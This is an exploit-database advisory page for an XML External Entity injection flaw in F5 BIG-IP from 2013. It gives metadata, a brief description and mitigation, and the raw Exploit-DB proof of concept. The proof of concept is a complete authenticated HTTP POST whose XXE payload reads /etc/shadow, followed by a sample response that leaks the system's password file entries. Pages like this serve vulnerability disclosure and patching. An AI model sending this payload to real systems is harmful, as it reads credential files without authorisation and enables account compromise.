F5 Networks BIG-IP XML External Entity Injection Vulnerability

vendor:

BIG-IP

by:

SecurityFocus

8,8

CVSS

HIGH

XML External Entity Injection

611

CWE

Product Name: BIG-IP

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2013

F5 Networks BIG-IP XML External Entity Injection Vulnerability

Attackers can exploit this issue to obtain potentially sensitive information from local files on computers running the vulnerable application and to carry out other attacks. An attacker can send a specially crafted POST request to the vulnerable application, which will include an XML document containing an external entity declaration. This will cause the application to return the content of the specified file.

Mitigation:

Users should apply the appropriate updates to vulnerable installations. Additionally, users should ensure that the application is not exposed to untrusted networks.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/57496/info

F5 Networks BIG-IP is prone to an XML External Entity injection vulnerability.

Attackers can exploit this issue to obtain potentially sensitive information from local files on computers running the vulnerable application and to carry out other attacks. 

POST /sam/admin/vpe2/public/php/server.php HTTP/1.1
Host: bigip
Cookie: BIGIPAuthCookie=*VALID_COOKIE*
Content-Length: 143

<?xml  version="1.0" encoding='utf-8' ?>
<!DOCTYPE a [<!ENTITY e SYSTEM '/etc/shadow'> ]>
<message><dialogueType>&e;</dialogueType></message>


The response includes the content of the file:

<?xml version="1.0" encoding="utf-8"?>
<message><dialogueType>any</dialogueType><status>generalError</status><command>any</command><accessPolicyName>any</accessPolicyName><messageBody><generalErrorText>Client
has sent unknown dialogueType '
root:--hash--:15490::::::
bin:*:15490::::::
daemon:*:15490::::::
adm:*:15490::::::
lp:*:15490::::::
mail:*:15490::::::
uucp:*:15490::::::
operator:*:15490::::::
nobody:*:15490::::::
tmshnobody:*:15490::::::
admin:--hash--:15490:0:99999:7:::